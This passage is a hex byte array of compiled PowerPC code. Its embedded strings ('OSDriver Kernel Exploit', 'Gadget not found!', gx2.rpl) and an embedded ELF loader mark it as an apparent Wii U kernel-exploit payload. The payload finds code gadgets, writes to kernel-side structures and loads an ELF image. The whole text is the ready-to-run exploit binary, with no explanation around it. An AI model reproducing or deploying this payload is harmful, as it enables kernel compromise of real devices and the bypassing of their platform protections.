0x08, 0x38, 0xfe, 0x40, 0x00, 0x39, 0x00, 0x40, 0x00, 0x39, 0x20, 0x00, 0x00, 0x39, 0x40, 0x00, 0x1a, 0x7d, 0x69, 0x03, 0xa6, 0x4e, 0x80, 0x04, 0x21, 0x2f, 0x83, 0x00, 0x00, 0x40, 0xbe, 0x00, 0x14, 0x3c, 0x80, 0x01, 0x80, 0x38, 0x61, 0x00, 0x08, 0x38, 0x84, 0x2d, 0x05, 0x4b, 0xff, 0xf7, 0xfd, 0x81, 0x21, 0x00, 0x84, 0x7f, 0xe3, 0xfb, 0x78, 0x7d, 0x29, 0x03, 0xa6, 0x4e, 0x80, 0x04, 0x21, 0x81, 0x21, 0x00, 0x80, 0x7f, 0xe3, 0xfb, 0x78, 0x7d, 0x29, 0x03, 0xa6, 0x4e, 0x80, 0x04, 0x21, 0x2f, 0x83, 0x00, 0x00, 0x40, 0x9e, 0x00, 0x28, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x4b, 0xff, 0xff, 0xc8, 0x3c, 0x60, 0xff, 0xea, 0x3c, 0x80, 0x01, 0x80, 0x60, 0x63, 0xae, 0xf4, 0x38, 0x84, 0x11, 0xb8, 0x4b, 0xff, 0xf2, 0x59, 0x80, 0x81, 0x00, 0x08, 0x3c, 0xa0, 0x01, 0x80, 0x39, 0x20, 0x00, 0x00, 0x38, 0x61, 0x00, 0x08, 0x38, 0xa5, 0x2d, 0x39, 0x38, 0xc1, 0x00, 0x78, 0x38, 0xe1, 0x00, 0x7c, 0x39, 0x00, 0x00, 0x01, 0x91, 0x21, 0x00, 0x7c, 0x91, 0x21, 0x00, 0x78, 0x4b, 0xff, 0xfa, 0x99, 0x7c, 0x6a, 0x1b, 0x79, 0x80, 0x81, 0x00, 0x08, 0x41, 0xa2, 0x00, 0x18, 0x80, 0x61, 0x00, 0x7c, 0x7c, 0x84, 0x52, 0x14, 0x80, 0xa1, 0x00, 0x78, 0x3c, 0x63, 0xc0, 0x00, 0x4b, 0xff, 0xe7, 0xa5, 0x80, 0x81, 0x00, 0x08, 0x3c, 0xa0, 0x01, 0x80, 0x39, 0x20, 0x00, 0x00, 0x38, 0x61, 0x00, 0x08, 0x38, 0xa5, 0x2d, 0x3f, 0x38, 0xc1, 0x00, 0x70, 0x38, 0xe1, 0x00, 0x74, 0x39, 0x00, 0x00, 0x00, 0x91, 0x21, 0x00, 0x74, 0x91, 0x21, 0x00, 0x70, 0x4b, 0xff, 0xfa, 0x4d, 0x7c, 0x64, 0x1b, 0x79, 0x41, 0xa2, 0x00, 0x1c, 0x80, 0x61, 0x00, 0x74, 0x81, 0x21, 0x00, 0x08, 0x80, 0xa1, 0x00, 0x70, 0x3c, 0x63, 0xc0, 0x00, 0x7c, 0x89, 0x22, 0x14, 0x4b, 0xff, 0xe7, 0x59, 0x80, 0x81, 0x00, 0x08, 0x3c, 0xa0, 0x01, 0x80, 0x39, 0x20, 0x00, 0x00, 0x38, 0x61, 0x00, 0x08, 0x38, 0xa5, 0x2d, 0x47, 0x38, 0xc1, 0x00, 0x68, 0x38, 0xe1, 0x00, 0x6c, 0x39, 0x00, 0x00, 0x00, 0x91, 0x21, 0x00, 0x6c, 0x91, 0x21, 0x00, 0x68, 0x4b, 0xff, 0xfa, 0x01, 0x7c, 0x64, 0x1b, 0x79, 0x41, 0xa2, 0x00, 0x1c, 0x80, 0x61, 0x00, 0x6c, 0x81, 0x21, 0x00, 0x08, 0x80, 0xa1, 0x00, 0x68, 0x3c, 0x63, 0xc0, 0x00, 0x7c, 0x89, 0x22, 0x14, 0x4b, 0xff, 0xe7, 0x0d, 0x80, 0x81, 0x00, 0x08, 0x3c, 0xa0, 0x01, 0x80, 0x39, 0x20, 0x00, 0x00, 0x38, 0x61, 0x00, 0x08, 0x38, 0xa5, 0x2d, 0x4d, 0x38, 0xc1, 0x00, 0x44, 0x38, 0xe1, 0x00, 0x64, 0x39, 0x00, 0x00, 0x00, 0x91, 0x21, 0x00, 0x64, 0x91, 0x21, 0x00, 0x44, 0x4b, 0xff, 0xf9, 0xb5, 0x7c, 0x64, 0x1b, 0x79, 0x41, 0xa2, 0x00, 0x1c, 0x80, 0x61, 0x00, 0x64, 0x81, 0x21, 0x00, 0x08, 0x80, 0xa1, 0x00, 0x44, 0x3c, 0x63, 0xc0, 0x00, 0x7c, 0x89, 0x22, 0x14, 0x4b, 0xff, 0xe6, 0xc1, 0x3c, 0x60, 0xff, 0xea, 0x3c, 0x80, 0x01, 0x80, 0x60, 0x63, 0xaf, 0x38, 0x38, 0x84, 0x00, 0x58, 0x4b, 0xff, 0xf1, 0x15, 0x3c, 0x60, 0xff, 0xe8, 0x3c, 0x80, 0xff, 0xf0, 0x60, 0x63, 0x4d, 0x40, 0x60, 0x84, 0x23, 0xd4, 0x4b, 0xff, 0xf1, 0x01, 0x3c, 0x60, 0xff, 0xe8, 0x3c, 0x80, 0xff, 0xf0, 0x60, 0x63, 0x51, 0x40, 0x60, 0x84, 0x23, 0xd4, 0x4b, 0xff, 0xf0, 0xed, 0x3c, 0x60, 0xff, 0xe8, 0x3c, 0x80, 0xff, 0xf0, 0x60, 0x63, 0x55, 0x40, 0x60, 0x84, 0x23, 0xd4, 0x4b, 0xff, 0xf0, 0xd9, 0x3c, 0x60, 0xff, 0xea, 0x3c, 0x80, 0xff, 0xf0, 0x60, 0x63, 0xab, 0x30, 0x60, 0x84, 0x23, 0xd4, 0x4b, 0xff, 0xf0, 0xc5, 0x3c, 0x60, 0xff, 0xe8, 0x3c, 0x80, 0xff, 0xf0, 0x60, 0x63, 0x4d, 0x44, 0x60, 0x84, 0x23, 0xf4, 0x4b, 0xff, 0xf0, 0xb1, 0x3c, 0x60, 0xff, 0xe8, 0x3c, 0x80, 0xff, 0xf0, 0x60, 0x63, 0x51, 0x44, 0x60, 0x84, 0x23, 0xf4, 0x4b, 0xff, 0xf0, 0x9d, 0x3c, 0x60, 0xff, 0xe8, 0x3c, 0x80, 0xff, 0xf0, 0x60, 0x63, 0x55, 0x44, 0x60, 0x84, 0x23, 0xf4, 0x4b, 0xff, 0xf0, 0x89, 0x3c, 0x60, 0xff, 0xea, 0x3c, 0x80, 0xff, 0xf0, 0x60, 0x63, 0xab, 0x34, 0x60, 0x84, 0x23, 0xf4, 0x4b, 0xff, 0xf0, 0x75, 0x4b, 0xff, 0xe6, 0x15, 0x81, 0x21, 0x00, 0x14, 0x38, 0x80, 0x00, 0x00, 0x38, 0xa0, 0x00, 0x20, 0x7d, 0x29, 0x03, 0xa6, 0x38, 0x61, 0x00, 0x44, 0x4e, 0x80, 0x04, 0x21, 0x3c, 0x60, 0xc0, 0x80, 0x39, 0x20, 0x02, 0x26, 0x60, 0x63, 0x14, 0x04, 0x38, 0x81, 0x00, 0x64, 0x38, 0xa0, 0x00, 0x04, 0x91, 0x21, 0x00, 0x64, 0x4b, 0xff, 0xe5, 0xd5, 0x3d, 0x20, 0xde, 0xad, 0x3c, 0x60, 0xc0, 0x80, 0x61, 0x29, 0xc0, 0xde, 0x60, 0x63, 0x14, 0x00, 0x38, 0x81, 0x00, 0x64, 0x38, 0xa0, 0x00, 0x04, 0x91, 0x21, 0x00, 0x64, 0x4b, 0xff, 0xe5, 0xb5, 0x3c, 0x60, 0xc0, 0x80, 0x38, 0x81, 0x00, 0x64, 0x60, 0x63, 0x13, 0x00, 0x38, 0xa0, 0x00, 0x04, 0x4b, 0xff, 0xe5, 0xa1, 0x3c, 0x60, 0xc0, 0x80, 0x39, 0x20, 0x00, 0x00, 0x60, 0x63, 0x13, 0x04, 0x38, 0x81, 0x00, 0x64, 0x38, 0xa0, 0x00, 0x04, 0x91, 0x21, 0x00, 0x64, 0x4b, 0xff, 0xe5, 0x85, 0x3d, 0x20, 0x01, 0x02, 0x3c, 0x60, 0xc0, 0x80, 0x61, 0x29, 0xa3, 0xb4, 0x60, 0x63, 0x15, 0x00, 0x91, 0x21, 0x00, 0x44, 0x3d, 0x20, 0x01, 0x02, 0x61, 0x29, 0xb8, 0x28, 0x38, 0x81, 0x00, 0x44, 0x91, 0x21, 0x00, 0x48, 0x3d, 0x20, 0xff, 0xe8, 0x61, 0x29, 0x4c, 0x70, 0x38, 0xa0, 0x00, 0x20, 0x91, 0x21, 0x00, 0x50, 0x3d, 0x20, 0xff, 0xe8, 0x61, 0x29, 0x50, 0x70, 0x91, 0x21, 0x00, 0x54, 0x3d, 0x20, 0xff, 0xe8, 0x61, 0x29, 0x54, 0x70, 0x91, 0x21, 0x00, 0x58, 0x3d, 0x20, 0xff, 0xea, 0x61, 0x29, 0xaa, 0x60, 0x91, 0x21, 0x00, 0x5c, 0x3d, 0x20, 0xff, 0xea, 0x61, 0x29, 0xae, 0x60, 0x91, 0x21, 0x00, 0x60, 0x3d, 0x20, 0x10, 0x05, 0x61, 0x29, 0xe0, 0x40, 0x91, 0x21, 0x00, 0x4c, 0x4b, 0xff, 0xe5, 0x11, 0x81, 0x21, 0x00, 0x08, 0x3c, 0x60, 0xc2, 0x01, 0x38, 0xa0, 0x00, 0x04, 0x60, 0x63, 0xc5, 0x6c, 0x81, 0x29, 0x00, 0x18, 0x38, 0x81, 0x00, 0x64, 0x55, 0x29, 0x01, 0xba, 0x65, 0x29, 0x48, 0x00, 0x61, 0x29, 0x00, 0x03, 0x91, 0x21, 0x00, 0x64, 0x4b, 0xff, 0xe4, 0xe5, 0x81, 0x21, 0x00, 0x28, 0x3c, 0x60, 0x01, 0x01, 0x38, 0x80, 0x00, 0x04, 0x60, 0x63, 0xc5, 0x6c, 0x7d, 0x29, 0x03, 0xa6, 0x4e, 0x80, 0x04, 0x21, 0x81, 0x21, 0x00, 0x20, 0x7f, 0xe3, 0xfb, 0x78, 0x7d, 0x29, 0x03, 0xa6, 0x4e, 0x80, 0x04, 0x21, 0x81, 0x21, 0x00, 0x20, 0x7f, 0xc3, 0xf3, 0x78, 0x7d, 0x29, 0x03, 0xa6, 0x4e, 0x80, 0x04, 0x21, 0x81, 0x21, 0x00, 0x2c, 0x7d, 0x29, 0x03, 0xa6, 0x4e, 0x80, 0x04, 0x21, 0x39, 0x61, 0x00, 0xa0, 0x48, 0x00, 0x00, 0x44, 0x81, 0xcb, 0xff, 0xb8, 0x81, 0xeb, 0xff, 0xbc, 0x82, 0x0b, 0xff, 0xc0, 0x82, 0x2b, 0xff, 0xc4, 0x82, 0x4b, 0xff, 0xc8, 0x82, 0x6b, 0xff, 0xcc, 0x82, 0x8b, 0xff, 0xd0, 0x82, 0xab, 0xff, 0xd4, 0x82, 0xcb, 0xff, 0xd8, 0x82, 0xeb, 0xff, 0xdc, 0x83, 0x0b, 0xff, 0xe0, 0x83, 0x2b, 0xff, 0xe4, 0x83, 0x4b, 0xff, 0xe8, 0x83, 0x6b, 0xff, 0xec, 0x83, 0x8b, 0xff, 0xf0, 0x83, 0xab, 0xff, 0xf4, 0x83, 0xcb, 0xff, 0xf8, 0x80, 0x0b, 0x00, 0x04, 0x83, 0xeb, 0xff, 0xfc, 0x7c, 0x08, 0x03, 0xa6, 0x7d, 0x61, 0x5b, 0x78, 0x4e, 0x80, 0x00, 0x20, 0x38, 0x00, 0x32, 0x00, 0x44, 0x00, 0x00, 0x02, 0x4e, 0x80, 0x00, 0x20, 0x38, 0x00, 0x33, 0x00, 0x44, 0x00, 0x00, 0x02, 0x4e, 0x80, 0x00, 0x20, 0x38, 0x00, 0x47, 0x00, 0x44, 0x00, 0x00, 0x02, 0x4e, 0x80, 0x00, 0x20, 0x38, 0x00, 0x48, 0x00, 0x44, 0x00, 0x00, 0x02, 0x4e, 0x80, 0x00, 0x20, 0x80, 0x61, 0x00, 0x08, 0x80, 0x81, 0x00, 0x0c, 0x80, 0x01, 0x00, 0x14, 0x7c, 0x08, 0x03, 0xa6, 0x38, 0x21, 0x00, 0x10, 0x4e, 0x80, 0x00, 0x20, 0x80, 0x01, 0x00, 0x14, 0x83, 0xe1, 0x00, 0x0c, 0x7c, 0x08, 0x03, 0xa6, 0x83, 0xc1, 0x00, 0x08, 0x38, 0x21, 0x00, 0x10, 0x4e, 0x80, 0x00, 0x20, 0xba, 0x81, 0x00, 0x08, 0x80, 0x01, 0x00, 0x3c, 0x7c, 0x08, 0x03, 0xa6, 0x38, 0x21, 0x00, 0x38, 0x4e, 0x80, 0x00, 0x20, 0x94, 0x21, 0xff, 0xe0, 0xbf, 0x61, 0x00, 0x0c, 0x7c, 0x08, 0x02, 0xa6, 0x7c, 0x7e, 0x1b, 0x78, 0x7c, 0x9f, 0x23, 0x78, 0x90, 0x01, 0x00, 0x24, 0x44, 0x52, 0x56, 0x48, 0x41, 0x58, 0x00, 0x00, 0xff, 0xf0, 0x23, 0xd4, 0xff, 0xf0, 0x23, 0xf4, 0x4f, 0x53, 0x59, 0x69, 0x65, 0x6c, 0x64, 0x54, 0x68, 0x72, 0x65, 0x61, 0x64, 0x00, 0x6d, 0x65, 0x6d, 0x73, 0x65, 0x74, 0x00, 0x4f, 0x53, 0x41, 0x6c, 0x6c, 0x6f, 0x63, 0x46, 0x72, 0x6f, 0x6d, 0x53, 0x79, 0x73, 0x74, 0x65, 0x6d, 0x00, 0x4f, 0x53, 0x46, 0x72, 0x65, 0x65, 0x54, 0x6f, 0x53, 0x79, 0x73, 0x74, 0x65, 0x6d, 0x00, 0x49, 0x4d, 0x5f, 0x53, 0x65, 0x74, 0x44, 0x65, 0x76, 0x69, 0x63, 0x65, 0x53, 0x74, 0x61, 0x74, 0x65, 0x00, 0x49, 0x4d, 0x5f, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x00, 0x49, 0x4d, 0x5f, 0x4f, 0x70, 0x65, 0x6e, 0x00, 0x4f, 0x53, 0x53, 0x63, 0x72, 0x65, 0x65, 0x6e, 0x50, 0x75, 0x74, 0x46, 0x6f, 0x6e, 0x74, 0x45, 0x78, 0x00, 0x4f, 0x53, 0x53, 0x63, 0x72, 0x65, 0x65, 0x6e, 0x43, 0x6c, 0x65, 0x61, 0x72, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x45, 0x78, 0x00, 0x44, 0x43, 0x46, 0x6c, 0x75, 0x73, 0x68, 0x52, 0x61, 0x6e, 0x67, 0x65, 0x00, 0x4f, 0x53, 0x53, 0x63, 0x72, 0x65, 0x65, 0x6e, 0x46, 0x6c, 0x69, 0x70, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x73, 0x45, 0x78, 0x00, 0x4f, 0x53, 0x53, 0x63, 0x72, 0x65, 0x65, 0x6e, 0x47, 0x65, 0x74, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x53, 0x69, 0x7a, 0x65, 0x45, 0x78, 0x00, 0x4f, 0x53, 0x53, 0x63, 0x72, 0x65, 0x65, 0x6e, 0x49, 0x6e, 0x69, 0x74, 0x00, 0x4f, 0x53, 0x53, 0x63, 0x72, 0x65, 0x65, 0x6e, 0x53, 0x65, 0x74, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x45, 0x78, 0x00, 0x4f, 0x53, 0x44, 0x72, 0x69, 0x76, 0x65, 0x72, 0x20, 0x4b, 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x20, 0x45, 0x78, 0x70, 0x6c, 0x6f, 0x69, 0x74, 0x00, 0x5f, 0x45, 0x78, 0x69, 0x74, 0x00, 0x4f, 0x53, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x54, 0x68, 0x72, 0x65, 0x61, 0x64, 0x00, 0x4f, 0x53, 0x52, 0x65, 0x73, 0x75, 0x6d, 0x65, 0x54, 0x68, 0x72, 0x65, 0x61, 0x64, 0x00, 0x4f, 0x53, 0x49, 0x73, 0x54, 0x68, 0x72, 0x65, 0x61, 0x64, 0x54, 0x65, 0x72, 0x6d, 0x69, 0x6e, 0x61, 0x74, 0x65, 0x64, 0x00, 0x47, 0x61, 0x64, 0x67, 0x65, 0x74, 0x20, 0x6e, 0x6f, 0x74, 0x20, 0x66, 0x6f, 0x75, 0x6e, 0x64, 0x21, 0x00, 0x67, 0x78, 0x32, 0x2e, 0x72, 0x70, 0x6c, 0x00, 0x5f, 0x5f, 0x50, 0x50, 0x43, 0x45, 0x78, 0x69, 0x74, 0x00, 0x44, 0x43, 0x49, 0x6e, 0x76, 0x61, 0x6c, 0x69, 0x64, 0x61, 0x74, 0x65, 0x52, 0x61, 0x6e, 0x67, 0x65, 0x00, 0x44, 0x43, 0x54, 0x6f, 0x75, 0x63, 0x68, 0x52, 0x61, 0x6e, 0x67, 0x65, 0x00, 0x4f, 0x53, 0x45, 0x66, 0x66, 0x65, 0x63, 0x74, 0x69, 0x76, 0x65, 0x54, 0x6f, 0x50, 0x68, 0x79, 0x73, 0x69, 0x63, 0x61, 0x6c, 0x00, 0x4f, 0x53, 0x45, 0x78, 0x69, 0x74, 0x54, 0x68, 0x72, 0x65, 0x61, 0x64, 0x00, 0x47, 0x58, 0x32, 0x53, 0x65, 0x74, 0x53, 0x65, 0x6d, 0x61, 0x70, 0x68, 0x6f, 0x72, 0x65, 0x00, 0x47, 0x58, 0x32, 0x46, 0x6c, 0x75, 0x73, 0x68, 0x00, 0x46, 0x61, 0x69, 0x6c, 0x65, 0x64, 0x20, 0x74, 0x6f, 0x20, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x20, 0x74, 0x68, 0x72, 0x65, 0x61, 0x64, 0x00, 0x00, 0x00, 0x00, 0x7f, 0x45, 0x4c, 0x46, 0x01, 0x02, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x14, 0x00, 0x00, 0x00, 0x01, 0x00, 0x80, 0x04, 0xd0, 0x00, 0x00, 0x00, 0x34, 0x00, 0x00, 0x0c, 0x24, 0x00, 0x00, 0x00, 0x00, 0x00, 0x34, 0x00, 0x20, 0x00, 0x01, 0x00, 0x28, 0x00, 0x04, 0x00, 0x03, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x54, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x0b, 0xb6, 0x00, 0x00, 0x0b, 0xb6, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x04, 0x7c, 0xa8, 0x02, 0xa6, 0x7c, 0xa9, 0x03, 0xa6, 0x7c, 0xe8, 0x03, 0xa6, 0x7c, 0xb0, 0x8a, 0xa6, 0x7c, 0xba, 0x8b, 0xa6, 0x7c, 0xb1, 0x8a, 0xa6, 0x7c, 0xbb, 0x8b, 0xa6, 0x80, 0xa3, 0x00, 0x34, 0x80, 0xc3, 0x00, 0x38, 0x80, 0xe3, 0x00, 0x3c, 0x81, 0x03, 0x00, 0x40, 0x81, 0x23, 0x00, 0x44, 0x81, 0x43, 0x00, 0x48, 0x81, 0x63, 0x00, 0x4c, 0x80, 0x63, 0x00, 0x50, 0x4c, 0x00, 0x01, 0x2c, 0x7c, 0xa7, 0x01, 0xa4, 0x4e, 0x80, 0x04, 0x20, 0x7c, 0x08, 0x02, 0xa6, 0x94, 0x21, 0xff, 0xe0, 0xbf, 0x61, 0x00, 0x0c, 0x7c, 0x9f, 0x23, 0x78, 0x90, 0x01, 0x00, 0x24, 0x83, 0xc4, 0x00, 0x1c, 0x2f, 0x9e, 0x00, 0x00, 0x40, 0xbe, 0x00, 0x0c, 0x38, 0x60, 0x00, 0x00, 0x48, 0x00, 0x01, 0x80, 0xa1, 0x24, 0x00, 0x2c, 0x2f, 0x89, 0x00, 0x00, 0x41, 0xbe, 0xff, 0xf0, 0xa1, 0x24, 0x00, 0x2a, 0x2f, 0x89, 0x00, 0x20, 0x40, 0x9e, 0xff, 0xe4, 0x7c, 0x7d, 0x1b, 0x78, 0x7f, 0xc4, 0xf2, 0x14, 0x3b, 0x80, 0x00, 0x00, 0xa1, 0x3f, 0x00, 0x2c, 0x7f, 0x9c, 0x48, 0x00, 0x40, 0x9c, 0x00, 0x84, 0x81, 0x3e, 0x00, 0x00, 0x2f, 0x89, 0x00, 0x01, 0x40, 0xbe, 0x00, 0x6c, 0x80, 0xbe, 0x00, 0x10, 0x81, 0x3e, 0x00, 0x14, 0x7f, 0x85, 0x48, 0x40, 0x41, 0xbd, 0xff, 0xb0, 0x2f, 0x85, 0x00, 0x00, 0x41, 0xbe, 0x00, 0x54, 0x83, 0x7e, 0x00, 0x0c, 0x81, 0x3d, 0x00, 0x08, 0x80, 0x9e, 0x00, 0x04, 0x7f, 0x63, 0xdb, 0x78, 0x7d, 0x29, 0x03, 0xa6, 0x7c, 0x9f, 0x22, 0x14, 0x4e, 0x80, 0x04, 0x21, 0x81, 0x3d, 0x00, 0x14, 0x7f, 0x63, 0xdb, 0x78, 0x80, 0x9e, 0x00, 0x10, 0x7d, 0x29, 0x03, 0xa6, 0x4e, 0x80, 0x04, 0x21, 0x81, 0x3e, 0x00, 0x18, 0x71, 0x2a, 0x00, 0x01, 0x41, 0xa2, 0x00, 0x18, 0x81, 0x3d, 0x00, 0x18, 0x80, 0x7e, 0x00, 0x0c, 0x80, 0x9e, 0x00, 0x14, 0x7d, 0x29, 0x03, 0xa6, 0x4e, 0x80, 0x04, 0x21, 0x3b, 0x9c, 0x00, 0x01, 0x3b, 0xde, 0x00, 0x20, 0x4b, 0xff, 0xff, 0x78, 0x83, 0x7f, 0x00, 0x20, 0x3b, 0x80, 0x00, 0x00, 0x7f, 0x7f, 0xda, 0x14, 0x7f, 0x7e, 0xdb, 0x78, 0xa1, 0x3f, 0x00, 0x30, 0x7f, 0x9c, 0x48, 0x00, 0x40, 0x9c, 0x00, 0xb0, 0xa1, 0x5f, 0x00, 0x32, 0x81, 0x3e, 0x00, 0x00, 0x1d, 0x4a, 0x00, 0x28, 0x7d, 0x5b, 0x52, 0x14, 0x81, 0x4a, 0x00, 0x10, 0x7d, 0x49, 0x52, 0x14, 0x7d, 0x3f, 0x52, 0x14, 0x7d, 0x5f, 0x50, 0xae, 0x2f, 0x8a, 0x00, 0x2e, 0x40, 0xbe, 0x00, 0x7c, 0x89, 0x49, 0x00, 0x01, 0x2b, 0x8a, 0x00, 0x62, 0x40, 0xbe, 0x00, 0x18, 0x89, 0x49, 0x00, 0x02, 0x2f, 0x8a, 0x00, 0x73, 0x40, 0xbe, 0x00, 0x64, 0x89, 0x29, 0x00, 0x03, 0x48, 0x00, 0x00, 0x28, 0x2b, 0x8a, 0x00, 0x73, 0x40, 0xbe, 0x00, 0x54, 0x89, 0x49, 0x00, 0x02, 0x2f, 0x8a, 0x00, 0x62, 0x40, 0xbe, 0x00, 0x48, 0x89, 0x49, 0x00, 0x03, 0x2f, 0x8a, 0x00, 0x73, 0x40, 0xbe, 0x00, 0x3c, 0x89, 0x29, 0x00, 0x04, 0x2f, 0x89, 0x00, 0x73, 0x40, 0xbe, 0x00, 0x30, 0x81, 0x3d, 0x00, 0x0c, 0x38, 0x80, 0x00, 0x00, 0x80, 0x7e, 0x00, 0x0c, 0x7d, 0x29, 0x03, 0xa6, 0x80, 0xbe, 0x00, 0x14, 0x4e, 0x80, 0x04, 0x21, 0x81, 0x3d, 0x00, 0x14, 0x80, 0x7e, 0x00, 0x0c, 0x80, 0x9e, 0x00, 0x14, 0x7d, 0x29, 0x03, 0xa6, 0x4e, 0x80, 0x04, 0x21, 0x3b, 0x9c, 0x00, 0x01, 0x3b, 0xde, 0x00, 0x28, 0x4b, 0xff, 0xff, 0x4c, 0x80, 0x7f, 0x00, 0x18, 0x39, 0x61, 0x00, 0x20, 0x48, 0x00, 0x07, 0x68, 0x7c, 0x08, 0x02, 0xa6, 0x94, 0x21, 0xfb, 0xe8, 0x39, 0x20, 0xff, 0xff, 0x91, 0x21, 0x03, 0xec, 0x90, 0x01, 0x04, 0x1c, 0xbf, 0x21, 0x03, 0xfc, 0x7c, 0x7f, 0x1b, 0x78, 0x81, 0x23, 0x00, 0x00, 0x7c, 0x99, 0x23, 0x78, 0x38, 0x60, 0x17, 0x00, 0x38, 0x80, 0x00, 0x04, 0x7d, 0x29, 0x03, 0xa6, 0x7c, 0xba, 0x2b, 0x78, 0x4e, 0x80, 0x04, 0x21, 0x7c, 0x7e, 0x1b, 0x79, 0x41, 0x82, 0x02, 0x94, 0x81, 0x3f, 0x00, 0x00, 0x38, 0x60, 0x0a, 0x80, 0x38, 0x80, 0x00, 0x04, 0x7d, 0x29, 0x03, 0xa6, 0x4e, 0x80, 0x04, 0x21, 0x7c, 0x7d, 0x1b, 0x79, 0x40, 0xa2, 0x00, 0x18, 0x81, 0x3f, 0x00, 0x04, 0x7f, 0xc3, 0xf3, 0x78, 0x7d, 0x29, 0x03, 0xa6, 0x4e, 0x80, 0x04, 0x21, 0x48, 0x00, 0x02, 0x64, 0x81, 0x3f, 0x00, 0x24, 0x7d, 0x29, 0x03, 0xa6, 0x4e, 0x80, 0x04, 0x21, 0x81, 0x3f, 0x00, 0x30, 0x7f, 0xa3, 0xeb, 0x78, 0x7d, 0x29, 0x03, 0xa6, 0x4e, 0x80, 0x04, 0x21, 0x81, 0x3f, 0x00, 0x28, 0x38, 0x80, 0x00, 0x00, 0x38, 0xa0, 0xff, 0xff, 0x7d, 0x29, 0x03, 0xa6, 0x7f, 0xc3, 0xf3, 0x78, 0x4e, 0x80, 0x04, 0x21, 0x81, 0x3f, 0x00, 0x34, 0x7f, 0xc3, 0xf3, 0x78, 0x7f, 0xa4, 0xeb, 0x78, 0x38, 0xa0, 0x00, 0x00, 0x38, 0xc1, 0x00, 0x08, 0x38, 0xe0, 0xff, 0xff, 0x7d, 0x29, 0x03, 0xa6, 0x4e, 0x80, 0x04, 0x21, 0x2f, 0x83, 0x00, 0x00, 0x41, 0x9e, 0x00, 0x14, 0x3c, 0x60, 0x00, 0x80, 0x81, 0x3f, 0x00, 0x10, 0x38, 0x63, 0x09, 0x7c, 0x48, 0x00, 0x00, 0x3c, 0x81, 0x3f, 0x00, 0x38, 0x7f, 0xc3, 0xf3, 0x78, 0x7f, 0xa4, 0xeb, 0x78, 0x38, 0xa1, 0x00, 0x08, 0x38, 0xc1, 0x03, 0x08, 0x38, 0xe0, 0x00, 0x80, 0x39, 0x00, 0xff, 0xff, 0x7d, 0x29, 0x03, 0xa6, 0x4e, 0x80, 0x04, 0x21, 0x2f, 0x83, 0x00, 0x00, 0x41, 0x9e, 0x00, 0x1c, 0x3c, 0x60, 0x00, 0x80, 0x81, 0x3f, 0x00, 0x10, 0x38, 0x63, 0x09, 0x95, 0x7d, 0x29, 0x03, 0xa6, 0x4e, 0x80, 0x04, 0x21, 0x48, 0x00, 0x01, 0x78, 0x81, 0x3f, 0x00, 0x40, 0x3c, 0xa0, 0x00, 0x80, 0x3c, 0xc0, 0x00, 0x80, 0x7f, 0xc3, 0xf3, 0x78, 0x7f, 0xa4, 0xeb, 0x78, 0x38, 0xa5, 0x09, 0xa6, 0x38, 0xc6, 0x09, 0xe8, 0x38, 0xe1, 0x03, 0xec, 0x39, 0x00, 0xff, 0xff, 0x7d, 0x29, 0x03, 0xa6, 0x4e, 0x80, 0x04, 0x21, 0x2c, 0x03, 0x00, 0x00, 0x41, 0x82, 0x00, 0x24, 0x81, 0x3f, 0x00, 0x3c, 0x7f, 0xc3, 0xf3, 0x78, 0x7f, 0xa4, 0xeb, 0x78, 0x38, 0xa1, 0x03, 0x08, 0x38, 0xc0, 0xff, 0xff, 0x7d, 0x29, 0x03, 0xa6, 0x4e, 0x80, 0x04, 0x21, 0x48, 0x00, 0x01, 0x24, 0x81, 0x3f, 0x00, 0x44, 0x7f, 0xa4, 0xeb, 0x78, 0x90, 0x61, 0x03, 0x98, 0x38, 0xc1, 0x03, 0x88, 0x7f, 0xc3, 0xf3, 0x78, 0x80, 0xa1, 0x03, 0xec, 0x38, 0xe0, 0xff, 0xff, 0x7d, 0x29, 0x03, 0xa6, 0x4e, 0x80, 0x04, 0x21, 0x80, 0x61, 0x03, 0x98, 0x2f, 0x83, 0x00, 0x00, 0x41, 0xbe, 0x00, 0x24, 0x81, 0x3f, 0x00, 0x00, 0x38, 0x63, 0x00, 0x3f, 0x54, 0x63, 0x00, 0x32, 0x38, 0x80, 0x00, 0x40, 0x7d, 0x29, 0x03, 0xa6, 0x4e, 0x80, 0x04, 0x21, 0x7c, 0x7b, 0x1b, 0x79, 0x40, 0xa2, 0x00, 0x1c, 0x81, 0x3f, 0x00, 0x10, 0x3c, 0x60, 0x00, 0x80, 0x38, 0x63, 0x09, 0xea, 0x3b, 0x60, 0x00, 0x00, 0x7d, 0x29, 0x03, 0xa6, 0x4e, 0x80, 0x04, 0x21, 0x3b, 0x80, 0x00, 0x00, 0x80, 0xe1, 0x03, 0x98, 0x7f, 0x9c, 0x38, 0x40, 0x40, 0x9c, 0x00, 0x38, 0x81, 0x7f, 0x00, 0x48, 0x7f, 0xc3, 0xf3, 0x78, 0x7f, 0xa4, 0xeb, 0x78, 0x7c, 0xbb, 0xe2, 0x14, 0x38, 0xc0, 0x00, 0x01, 0x7c, 0xfc, 0x38, 0x50, 0x81, 0x01, 0x03, 0xec, 0x39, 0x20, 0x00, 0x00, 0x39, 0x40, 0xff, 0xff, 0x7d, 0x69, 0x03, 0xa6, 0x4e, 0x80, 0x04, 0x21, 0x2c, 0x03, 0x00, 0x00, 0x41, 0xa1, 0x00, 0x28, 0x81, 0x21, 0x03, 0x98, 0x7f, 0x9c, 0x48, 0x00, 0x41, 0x9e, 0x00, 